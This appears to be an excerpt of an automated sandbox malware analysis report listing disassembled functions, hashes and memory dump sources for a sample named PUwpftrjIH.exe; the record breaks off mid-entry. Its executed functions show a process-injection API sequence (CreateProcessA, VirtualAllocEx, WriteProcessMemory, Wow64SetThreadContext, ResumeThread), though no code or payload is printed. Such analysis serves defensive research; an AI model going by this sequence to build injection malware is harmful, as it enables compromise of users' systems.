Opcode Fuzzy Hash: 0ab909dde2a1ad2cd1c1f15d34acf210a37f3580c6c4222adf71c96878a63f9f
Instruction Fuzzy Hash: 95012430B1021C1BEB209664DC2079B77BED780258F2004B6D40ED3384DA315D438BD2

Uniqueness

Uniqueness Score: -1.00%

Function 06ED7628 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 839aac527028d837d3abd56c3780add0261e2695d3553c195e578a4470dcc599
Instruction ID: d3c30b2b3bb811d7b2f40030e9468998894a27f91f79e302273496d6095dcccc
Opcode Fuzzy Hash: 839aac527028d837d3abd56c3780add0261e2695d3553c195e578a4470dcc599
Instruction Fuzzy Hash: CF016931B202111BDF64966EE81072EB2EBDBC9628F24843AE11EC7788EA65DC434395

Uniqueness

Uniqueness Score: -1.00%

Function 06EDDB38 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a82fb54b64f2024eb8ed0e8530717005946dfdf691eac53ed3bed30fd01d8aef
Instruction ID: 17cdefd5eb187ebb737371ea8e46b4dcdccb553464c99f500fd976f17b9fc263
Opcode Fuzzy Hash: a82fb54b64f2024eb8ed0e8530717005946dfdf691eac53ed3bed30fd01d8aef
Instruction Fuzzy Hash: 5D01A430B106145FDB60EA3DE86072AB3DAEF89718F109539F10ECB388DA25DC434785

Uniqueness

Uniqueness Score: -1.00%

Function 06ED9899 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71b0e748ab21c0efa7e69d69d77762c203b3ed39c8f54c722dba84e43d24e32b
Instruction ID: 3c6c5a9de67f0ea4e7372471baecfd5e522d6287f3d4f75513c6502cfeff1a5b
Opcode Fuzzy Hash: 71b0e748ab21c0efa7e69d69d77762c203b3ed39c8f54c722dba84e43d24e32b
Instruction Fuzzy Hash: AEF02230D0A3486FDB10DAB08D007AA7BAC9B03208F20899AE844CB243D236CA0683A0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 06EDAEC8 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 06EDB45F
$^q, xrefs: 06EDB012
$^q, xrefs: 06EDB453
$^q, xrefs: 06EDAFED
$^q, xrefs: 06EDB3AA
$^q, xrefs: 06EDB43D
$^q, xrefs: 06EDAFE1
$^q, xrefs: 06EDB01E
$^q, xrefs: 06EDB39E
$^q, xrefs: 06EDB449

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2222239885
Opcode ID: eba4742abc16fb721499b70b9f2968f1ba284a67ce0d6d66fd19356958e03f70
Instruction ID: 79a6462f6c5832f032bb8c12efd7bc06c0963e7927ed984b3d68337e18dcdec4
Opcode Fuzzy Hash: eba4742abc16fb721499b70b9f2968f1ba284a67ce0d6d66fd19356958e03f70
Instruction Fuzzy Hash: 99123B70E003198FDB68DF65C954A9EB7F2BF88304F2195A9D009AB354EB31DD86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06EDE158 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 06EDE2B5
$^q, xrefs: 06EDE2D4
$^q, xrefs: 06EDE30A
$^q, xrefs: 06EDE2E0
$^q, xrefs: 06EDE316
$^q, xrefs: 06EDE24E
$^q, xrefs: 06EDE25A
$^q, xrefs: 06EDE2A9

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: dd4cab665a3f8456a0211d98167a81c12388971764dab3f3c8010ead340e3380
Instruction ID: 9f8d23132cb906c4dea7e5d96ec3923fe865cc903502aa0e395888b55a1dd117
Opcode Fuzzy Hash: dd4cab665a3f8456a0211d98167a81c12388971764dab3f3c8010ead340e3380
Instruction Fuzzy Hash: A9917030E0030ADFEB68EF65D958BAE7BF6AF44308F109529E4059F394DB749846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06EDE4F0 Relevance: 10.2, Strings: 8, Instructions: 183COMMON

Download Yara Rule

Strings

$^q, xrefs: 06EDE693
$^q, xrefs: 06EDE69F
$^q, xrefs: 06EDE6BC
$^q, xrefs: 06EDE670
$^q, xrefs: 06EDE611
$^q, xrefs: 06EDE664
$^q, xrefs: 06EDE6C8
$^q, xrefs: 06EDE61D

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: e65866ffae4d662afce72dea7210edbe07324cf63704c24b03805f5ff9dddfb0
Instruction ID: 9a15b37bacf75bcafcf91981634f73879d3be59b219c3c8ff6ae299a4a02c7e2
Opcode Fuzzy Hash: e65866ffae4d662afce72dea7210edbe07324cf63704c24b03805f5ff9dddfb0
Instruction Fuzzy Hash: 9351E430E113098FDB68EB68D598AAEB7F2EB84304F209529E415DF358DB31DC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06EDA8C8 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$^q, xrefs: 06EDAD64
$^q, xrefs: 06EDADDC
$^q, xrefs: 06EDAC04
$^q, xrefs: 06EDABAA
.5vq, xrefs: 06EDA923
$^q, xrefs: 06EDAC10
$^q, xrefs: 06EDADD0

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: 35833c34a4024fceef6ff0ad7fddba61b1bb36cc9b3730fce5f49215e61fb9d5
Instruction ID: 08663c4d3e88602021f6315c4612c6e4d1a08ce28405bd10d5b5b08987778b3e
Opcode Fuzzy Hash: 35833c34a4024fceef6ff0ad7fddba61b1bb36cc9b3730fce5f49215e61fb9d5
Instruction Fuzzy Hash: F1F10B30A01309CFDB59EF68D594A6EB7B3BF88304F248569D4059B3A9CB31DD86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06EDBC00 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 06EDBEBF
$^q, xrefs: 06EDBE66
$^q, xrefs: 06EDBE5A
$^q, xrefs: 06EDBECB

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 2237709c49c90970e7746dbefa7189820243c7114f14c03ec07106e82402fe93
Instruction ID: a400ae60cc87c0d76e48e009ea532f070d95ea4e201135c0ffd01768b28a558f
Opcode Fuzzy Hash: 2237709c49c90970e7746dbefa7189820243c7114f14c03ec07106e82402fe93
Instruction Fuzzy Hash: C6B15D70A103098FDB58EF68D99466EB7B2FF88308F259469E405DB355EB71DC86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 06EDC018 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR^q, xrefs: 06EDC10B
$^q, xrefs: 06EDC097
$^q, xrefs: 06EDC0A3
LR^q, xrefs: 06EDC15A

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: c032280c4b72248a4aa5d0f2b473a3ddf87a09ddec015be579af7cb0e0c3612d
Instruction ID: 9c5cb28355e1839b9e306999a78ca47e99c85de9319a50be6c076db14be76791
Opcode Fuzzy Hash: c032280c4b72248a4aa5d0f2b473a3ddf87a09ddec015be579af7cb0e0c3612d
Instruction Fuzzy Hash: 6951F730B003059FDB58EB68D950A6AB7F6FF84744F209569E405CB3A5DB31EC46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06EDE4E1 Relevance: 5.2, Strings: 4, Instructions: 166COMMON

Download Yara Rule

Strings

$^q, xrefs: 06EDE693
$^q, xrefs: 06EDE6BC
$^q, xrefs: 06EDE611
$^q, xrefs: 06EDE664

Memory Dump Source

Source File: 00000007.00000002.4185917263.0000000006ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6ed0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 7edf4f9bbdc568a9bae0bd1a5fa005714bd6a8ea40c66fed79b9808f31c9e8f6
Instruction ID: 24266d6177d05fe4c10786b9cd316d4632f714b043e19131840a75c787964517
Opcode Fuzzy Hash: 7edf4f9bbdc568a9bae0bd1a5fa005714bd6a8ea40c66fed79b9808f31c9e8f6
Instruction Fuzzy Hash: 3C51B530E113099FDF69EB64D994AAEB3B2EB84304F145529E415DF394DB31EC42CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: PUwpftrjIH.exePID: 7592, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	13.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	158
Total number of Limit Nodes:	11

Executed Functions

Function 00F8F600 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00F8F67E
GetCurrentThread.KERNEL32 ref: 00F8F6BB
GetCurrentProcess.KERNEL32 ref: 00F8F6F8
GetCurrentThreadId.KERNEL32 ref: 00F8F751

Strings

LUi, xrefs: 00F8F61C

Memory Dump Source

Source File: 00000009.00000002.1762720291.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f80000_PUwpftrjIH.jbxd

Similarity

API ID: Current$ProcessThread
String ID: LUi
API String ID: 2063062207-2136847991
Opcode ID: beb20df8ab8cfa66fa80306c9984cb5c3e4429f760ab22f9551dca57a45a67bb
Instruction ID: 649ec96dd4bce76828b6708e2d8a5d8c23a4841af8d0a4ef5d409ae007c8071c
Opcode Fuzzy Hash: beb20df8ab8cfa66fa80306c9984cb5c3e4429f760ab22f9551dca57a45a67bb
Instruction Fuzzy Hash: B85134B0D012498FDB14DFA9D548BEEBBF1EF48314F20C469E419A7260DB749988CF65

Uniqueness

Uniqueness Score: -1.00%

Function 083F75F4 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 245
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 083F7836

Strings

LUi, xrefs: 083F766A
LUi, xrefs: 083F763B

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: CreateProcess
String ID: LUi$LUi
API String ID: 963392458-324199153
Opcode ID: ea760f0d78513b4db7eb3fa449fbaaddb84291bdcf7a789a5d992a01f612485e
Instruction ID: ab7cfd9c304fab3aea38e213d22940c3548381d582bc9a2e41eb11e27ea97ba8
Opcode Fuzzy Hash: ea760f0d78513b4db7eb3fa449fbaaddb84291bdcf7a789a5d992a01f612485e
Instruction Fuzzy Hash: 1BA19E71D10259CFDF20DF68C841BEEBBB2BF88311F1481A9E908A7251DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 083F7600 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 083F7836

Strings

LUi, xrefs: 083F766A
LUi, xrefs: 083F763B

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: CreateProcess
String ID: LUi$LUi
API String ID: 963392458-324199153
Opcode ID: 1c5890510a2026190332e60aa2ed525c9874c955a8cbb2b0b6424e49953e75c0
Instruction ID: 76514591bb6266cd96d20c5daadaff4ebf2222da933e2d46fd88e1da1bf0e6d5
Opcode Fuzzy Hash: 1c5890510a2026190332e60aa2ed525c9874c955a8cbb2b0b6424e49953e75c0
Instruction Fuzzy Hash: 0D918C71D10259CFDF20DFA8C841BEEBBB2BF88315F1481A9E908A7251DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00F8449C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00F859A9

Strings

LUi, xrefs: 00F8592C

Memory Dump Source

Source File: 00000009.00000002.1762720291.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f80000_PUwpftrjIH.jbxd

Similarity

API ID: Create
String ID: LUi
API String ID: 2289755597-2136847991
Opcode ID: 88f5d1606c17fe971d44bccbe6447deff8ca26c9eef82304238fcffb1a072a0a
Instruction ID: 8823a68817c6f59dc3eb82971c8500ea76d6a69da9f6f53a469be35db251d140
Opcode Fuzzy Hash: 88f5d1606c17fe971d44bccbe6447deff8ca26c9eef82304238fcffb1a072a0a
Instruction Fuzzy Hash: A241F1B0C00719CBDB24DFA9C884BDEBBB5BF48714F20806AD408AB255DB756949CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00F858ED Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00F859A9

Strings

LUi, xrefs: 00F8592C

Memory Dump Source

Source File: 00000009.00000002.1762720291.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f80000_PUwpftrjIH.jbxd

Similarity

API ID: Create
String ID: LUi
API String ID: 2289755597-2136847991
Opcode ID: 36d71a802a2b56a89817a63c389a6b1e44bbfbbba7a9c2ed56c8fda78cc82f71
Instruction ID: 720970445c109d45ae90bb0126d565e5dd7c6c4721e89cec5a939630488adf01
Opcode Fuzzy Hash: 36d71a802a2b56a89817a63c389a6b1e44bbfbbba7a9c2ed56c8fda78cc82f71
Instruction Fuzzy Hash: 7D4105B0C00719CFDB14DFA9C8847CDBBB5BF45714F24816AD408AB255DB756989CF90

Uniqueness

Uniqueness Score: -1.00%

Function 083F7372 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 083F7408

Strings

LUi, xrefs: 083F7397

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: LUi
API String ID: 3559483778-2136847991
Opcode ID: d08449255e519b7c4f6c44f6d39b5a1b209139319b97e7d20c6dcf617cf4406e
Instruction ID: 432c4580d6260fd37e30185026611a179340f9e0b78f9ca1dc59e7c9f727ca3d
Opcode Fuzzy Hash: d08449255e519b7c4f6c44f6d39b5a1b209139319b97e7d20c6dcf617cf4406e
Instruction Fuzzy Hash: 262115B59002599FCF10CFA9C885BEEBBF1FF88310F10842AE959A7251C7789954DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 083F7378 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 083F7408

Strings

LUi, xrefs: 083F7397

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: LUi
API String ID: 3559483778-2136847991
Opcode ID: eda1faed9f2aa22a373f6b924b5f0d51191bac13689a124a8081f1227438bee4
Instruction ID: 73e42296655a7577c6c3bed4dc060482375558a992b364280864b97290c910c3
Opcode Fuzzy Hash: eda1faed9f2aa22a373f6b924b5f0d51191bac13689a124a8081f1227438bee4
Instruction Fuzzy Hash: 7F2155B59003599FCB10CFAAC881BDEBBF5FF88310F10842AE918A7251C7789944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 083F7460 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 083F74E8

Strings

LUi, xrefs: 083F7487

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: MemoryProcessRead
String ID: LUi
API String ID: 1726664587-2136847991
Opcode ID: c3de15cce105b05d4fea443572121e180dca06942e7da2646f536b9b2152d737
Instruction ID: faa10579cff4eccf583c42537edaed513091442b9d215f9a2f09641c62dd7e04
Opcode Fuzzy Hash: c3de15cce105b05d4fea443572121e180dca06942e7da2646f536b9b2152d737
Instruction Fuzzy Hash: 732139B19002599FCB10DFAAC841BEEFBF5FF88310F10842AE519A7250C7389541CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 083F6DA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 083F6E26

Strings

LUi, xrefs: 083F6DC4

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: ContextThreadWow64
String ID: LUi
API String ID: 983334009-2136847991
Opcode ID: 4e892c43f3f09dde22bc58771117e286388aba1a158c70c945e4e7e2c19cd0e9
Instruction ID: c7948d3e4f5de82e2c14e06409b037eeb362be74b8dac4558008e66499190e2c
Opcode Fuzzy Hash: 4e892c43f3f09dde22bc58771117e286388aba1a158c70c945e4e7e2c19cd0e9
Instruction Fuzzy Hash: 6C2175B29002088FCB10CFAAC5857EEBFF4AF98320F10842ED559A7241C7789984CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 083F7468 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 083F74E8

Strings

LUi, xrefs: 083F7487

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: MemoryProcessRead
String ID: LUi
API String ID: 1726664587-2136847991
Opcode ID: 526122dd8c7698abf28a6559e707326b95c3b2328fb3c39ab8f6c5718660caad
Instruction ID: 77b1a4166d6f769fd6e9b94c32ca40548427b289b737099b7a0bf94f071a50e2
Opcode Fuzzy Hash: 526122dd8c7698abf28a6559e707326b95c3b2328fb3c39ab8f6c5718660caad
Instruction Fuzzy Hash: 192128B19002599FCB10DFAAC841BEEFBF5FF88320F108429E958A7251C7389544CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 083F6DA8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 083F6E26

Strings

LUi, xrefs: 083F6DC4

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: ContextThreadWow64
String ID: LUi
API String ID: 983334009-2136847991
Opcode ID: 4b90e7a4ed0d991fa8601dd406d4ea45c395ea80ca9e8d27f26418c648cf431e
Instruction ID: 6c3cbfdfc7a2c8284f9f73e514962977384ad7c951fe5d02238bc0e386d31b7b
Opcode Fuzzy Hash: 4b90e7a4ed0d991fa8601dd406d4ea45c395ea80ca9e8d27f26418c648cf431e
Instruction Fuzzy Hash: 1C2138B2D002098FDB10DFAAC5857EEBBF4EF98324F108429D559A7241D7789984CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F8FC50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00F8FCD7

Strings

LUi, xrefs: 00F8FC6F

Memory Dump Source

Source File: 00000009.00000002.1762720291.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f80000_PUwpftrjIH.jbxd

Similarity

API ID: DuplicateHandle
String ID: LUi
API String ID: 3793708945-2136847991
Opcode ID: 7033bae2e7ab0193df696a8c840027d5210638403fd14de9c488a496749e9a6a
Instruction ID: c7ae11b0deae3549c7b38a7401287ab3d050637977a13d06fcd8f408da471c01
Opcode Fuzzy Hash: 7033bae2e7ab0193df696a8c840027d5210638403fd14de9c488a496749e9a6a
Instruction Fuzzy Hash: AF21E4B59002089FDB10CFAAD584ADEBBF4FB48320F14841AE914A7310C374AA44DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F8C6F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00F8D639,00000800,00000000,00000000), ref: 00F8D84A

Strings

LUi, xrefs: 00F8D7FF

Memory Dump Source

Source File: 00000009.00000002.1762720291.0000000000F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f80000_PUwpftrjIH.jbxd

Similarity

API ID: LibraryLoad
String ID: LUi
API String ID: 1029625771-2136847991
Opcode ID: f410a88618d8a1b4103cf69f8f45837611133fdb3b9e589b6905e6fb1a5cb8dc
Instruction ID: ab87a8c40f11116305bcec6e6df72074453c54aed14fea3d8a6a0f1353407180
Opcode Fuzzy Hash: f410a88618d8a1b4103cf69f8f45837611133fdb3b9e589b6905e6fb1a5cb8dc
Instruction Fuzzy Hash: 2E11D0B6D002099FDB10DF9AD444BDEFBF5EB88320F10842AE919A7250C375A945CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 083F72B2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 083F7326

Strings

LUi, xrefs: 083F72CF

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: AllocVirtual
String ID: LUi
API String ID: 4275171209-2136847991
Opcode ID: a5829f8ef92d2c99e632802fc989ca62b9606cbe623738721ca2acc5f3d94f8c
Instruction ID: bbef009e9f397701f1078fb44b9d94e8f931c58221bb1c16250ed78e6d820230
Opcode Fuzzy Hash: a5829f8ef92d2c99e632802fc989ca62b9606cbe623738721ca2acc5f3d94f8c
Instruction Fuzzy Hash: 4A116A758002489FCF20DFAAC844BDEBFF1EF88320F248829D555A7251C7759554CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 083F72B8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 083F7326

Strings

LUi, xrefs: 083F72CF

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: AllocVirtual
String ID: LUi
API String ID: 4275171209-2136847991
Opcode ID: 4ff532b341402d4b3cf76b55f624e54facba7c3a614ea04f610b43dd2f3e061a
Instruction ID: a588eb70ac42fa7af49d9fe587632f254c1903cdffb3ab3f6c632af784a5f40f
Opcode Fuzzy Hash: 4ff532b341402d4b3cf76b55f624e54facba7c3a614ea04f610b43dd2f3e061a
Instruction Fuzzy Hash: B31167718002489FCB10DFAAC844BDEBFF5EF88320F10882AE919A7250C735A550CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 083F6CF0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 083F6D5A

Strings

LUi, xrefs: 083F6D0F

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: ResumeThread
String ID: LUi
API String ID: 947044025-2136847991
Opcode ID: 47188021ac4a64a4731a4664eab9e683cad734c852c11e2f37559fcdb724ea5b
Instruction ID: 812262ef26173f775dc8c24add60a806adb42b0748222493dac2ca2243e5dff9
Opcode Fuzzy Hash: 47188021ac4a64a4731a4664eab9e683cad734c852c11e2f37559fcdb724ea5b
Instruction Fuzzy Hash: 151158B59042488FCB20DFAAC4457EEFFF5EB88324F20842DD459A7250C679A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 083F6CF8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 083F6D5A

Strings

LUi, xrefs: 083F6D0F

Memory Dump Source

Source File: 00000009.00000002.1769492094.00000000083F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_83f0000_PUwpftrjIH.jbxd

Similarity

API ID: ResumeThread
String ID: LUi
API String ID: 947044025-2136847991
Opcode ID: 5f5f5b974cb8a28f5614beb74ef906507a9760877a671507e64c19ee63a1a027
Instruction ID: 4d9db051fdc0d27b01e6d4ae60fdd6c69441500a1ae86bb942aac8350dcab490
Opcode Fuzzy Hash: 5f5f5b974cb8a28f5614beb74ef906507a9760877a671507e64c19ee63a1a027
Instruction Fuzzy Hash: 551136B19002488FCB20DFAAC4457DEFBF5EB88324F208429D559A7250CB75A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F8D558 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

